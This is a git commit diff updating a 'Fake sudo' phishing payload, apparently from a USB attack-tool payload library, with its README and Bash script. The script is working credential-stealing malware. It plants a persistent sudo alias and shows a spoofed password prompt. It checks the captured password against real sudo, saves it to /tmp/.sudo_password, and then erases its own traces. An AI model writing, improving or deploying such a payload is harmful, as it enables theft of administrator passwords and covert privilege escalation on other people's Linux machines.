fake-sudo - Improvements and corrections (#528)
* Update README.md * Update sudo-phishing.sh * Update sudo-phishing.sh * Delete payloads/library/phishing/fake-sudo directory * Add files via uploadpull/529/head
parent
49c8edf636
commit
80573a03ab
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
- Title: Fake sudo
|
- Title: Fake sudo
|
||||||
- Author: TW-D
|
- Author: TW-D
|
||||||
- Version: 1.0
|
- Version: 1.1
|
||||||
- Target: Linux
|
- Target: Linux
|
||||||
- Category: Phishing
|
- Category: Phishing
|
||||||
|
|
||||||
|
@ -12,7 +12,7 @@
|
||||||
2) Defines a new persistent "sudo" alias with the file "~/.bash_aliases".
|
2) Defines a new persistent "sudo" alias with the file "~/.bash_aliases".
|
||||||
3) When the user "sudoer" executes the command "sudo" in a terminal, the spoofing program :
|
3) When the user "sudoer" executes the command "sudo" in a terminal, the spoofing program :
|
||||||
- __By default__ retrieves the username and password and writes them to "/tmp/.sudo_password".
|
- __By default__ retrieves the username and password and writes them to "/tmp/.sudo_password".
|
||||||
- __But__ this behavior can be changed in line 21 of the "sudo-phishing.sh" file.
|
- __But__ this behavior can be changed in line 26 of the "sudo-phishing.sh" file.
|
||||||
4) The spoofing program deletes the "sudo" alias. Then it deletes itself.
|
4) The spoofing program deletes the "sudo" alias. Then it deletes itself.
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
@ -29,7 +29,6 @@ readonly BB_LABEL="BashBunny"
|
||||||
From "sudo-phishing.sh" change the values of the following constants if necessary :
|
From "sudo-phishing.sh" change the values of the following constants if necessary :
|
||||||
```bash
|
```bash
|
||||||
|
|
||||||
readonly INPUT_MESSAGE="[sudo] password for ${USER}: "
|
|
||||||
readonly MAXIMUM_ATTEMPTS=3
|
readonly MAXIMUM_ATTEMPTS=3
|
||||||
readonly ERROR_MESSAGE="sudo: ${MAXIMUM_ATTEMPTS} incorrect password attempts"
|
readonly ERROR_MESSAGE="sudo: ${MAXIMUM_ATTEMPTS} incorrect password attempts"
|
||||||
|
|
||||||
|
@ -40,9 +39,8 @@ From "sudo-phishing.sh", change the payload if you wish :
|
||||||
##
|
##
|
||||||
# <YOUR-PAYLOAD>
|
# <YOUR-PAYLOAD>
|
||||||
##
|
##
|
||||||
/usr/bin/echo "${USER}:${sudo_password}" > /tmp/.sudo_password
|
/bin/echo "${USER}:${sudo_password}" > /tmp/.sudo_password
|
||||||
##
|
##
|
||||||
# </YOUR-PAYLOAD>
|
# </YOUR-PAYLOAD>
|
||||||
##
|
##
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
@ -7,7 +7,7 @@
|
||||||
# command by defining an persistent alias.
|
# command by defining an persistent alias.
|
||||||
#
|
#
|
||||||
# Author: TW-D
|
# Author: TW-D
|
||||||
# Version: 1.0
|
# Version: 1.1
|
||||||
# Category: Phishing
|
# Category: Phishing
|
||||||
# Target: Linux
|
# Target: Linux
|
||||||
# Attackmodes: HID and STORAGE
|
# Attackmodes: HID and STORAGE
|
||||||
|
|
|
@ -6,36 +6,41 @@
|
||||||
# of the "sudo" command.
|
# of the "sudo" command.
|
||||||
#
|
#
|
||||||
|
|
||||||
readonly INPUT_MESSAGE="[sudo] password for ${USER}: "
|
if [ -z "${SUDO_PROMPT}" ]; then
|
||||||
|
readonly INPUT_MESSAGE="[sudo] password for ${USER}: "
|
||||||
|
else
|
||||||
|
readonly INPUT_MESSAGE="${SUDO_PROMPT}"
|
||||||
|
fi
|
||||||
|
|
||||||
readonly MAXIMUM_ATTEMPTS=3
|
readonly MAXIMUM_ATTEMPTS=3
|
||||||
readonly ERROR_MESSAGE="sudo: ${MAXIMUM_ATTEMPTS} incorrect password attempts"
|
readonly ERROR_MESSAGE="sudo: ${MAXIMUM_ATTEMPTS} incorrect password attempts"
|
||||||
|
|
||||||
attempts() {
|
attempts() {
|
||||||
/usr/bin/echo -n "${INPUT_MESSAGE}"
|
/bin/echo -n "${INPUT_MESSAGE}"
|
||||||
read -r -s sudo_password
|
read -r -s sudo_password
|
||||||
/usr/bin/echo ""
|
/bin/echo ""
|
||||||
if /usr/bin/echo "${sudo_password}" | /usr/bin/sudo -S /usr/bin/true 2> /dev/null; then
|
if ( /bin/echo "${sudo_password}" | /usr/bin/sudo -S /bin/true > /dev/null 2>&1 ); then
|
||||||
##
|
##
|
||||||
# <YOUR-PAYLOAD>
|
# <YOUR-PAYLOAD>
|
||||||
##
|
##
|
||||||
/usr/bin/echo "${USER}:${sudo_password}" > /tmp/.sudo_password
|
/bin/echo "${USER}:${sudo_password}" > /tmp/.sudo_password
|
||||||
##
|
##
|
||||||
# </YOUR-PAYLOAD>
|
# </YOUR-PAYLOAD>
|
||||||
##
|
##
|
||||||
/usr/bin/rm ~/.sudo_phishing.sh
|
/bin/rm ~/.sudo_phishing.sh
|
||||||
/usr/bin/head -n -1 ~/.bash_aliases > ~/.bash_aliases_bak
|
/usr/bin/head -n -1 ~/.bash_aliases > ~/.bash_aliases_bak
|
||||||
/usr/bin/mv ~/.bash_aliases_bak ~/.bash_aliases
|
/bin/mv ~/.bash_aliases_bak ~/.bash_aliases
|
||||||
/usr/bin/echo "${sudo_password}" | /usr/bin/sudo -S "${@}"
|
/bin/echo "${sudo_password}" | /usr/bin/sudo -S "${@}"
|
||||||
$BASH
|
$BASH
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
if (/usr/bin/sudo -n /usr/bin/true 2> /dev/null) || [ "${#}" -eq 0 ]; then
|
if ( (/usr/bin/sudo -n /bin/true > /dev/null 2>&1) || [ "${#}" -eq 0 ] ); then
|
||||||
/usr/bin/sudo "${@}"
|
/usr/bin/sudo "${@}"
|
||||||
else
|
else
|
||||||
for ((iterator=1; iterator <= MAXIMUM_ATTEMPTS; iterator++)); do
|
for ((iterator=1; iterator <= MAXIMUM_ATTEMPTS; iterator++)); do
|
||||||
attempts "${@}"
|
attempts "${@}"
|
||||||
done
|
done
|
||||||
/usr/bin/echo "${ERROR_MESSAGE}"
|
/bin/echo "${ERROR_MESSAGE}"
|
||||||
fi
|
fi
|
Loading…
Reference in New Issue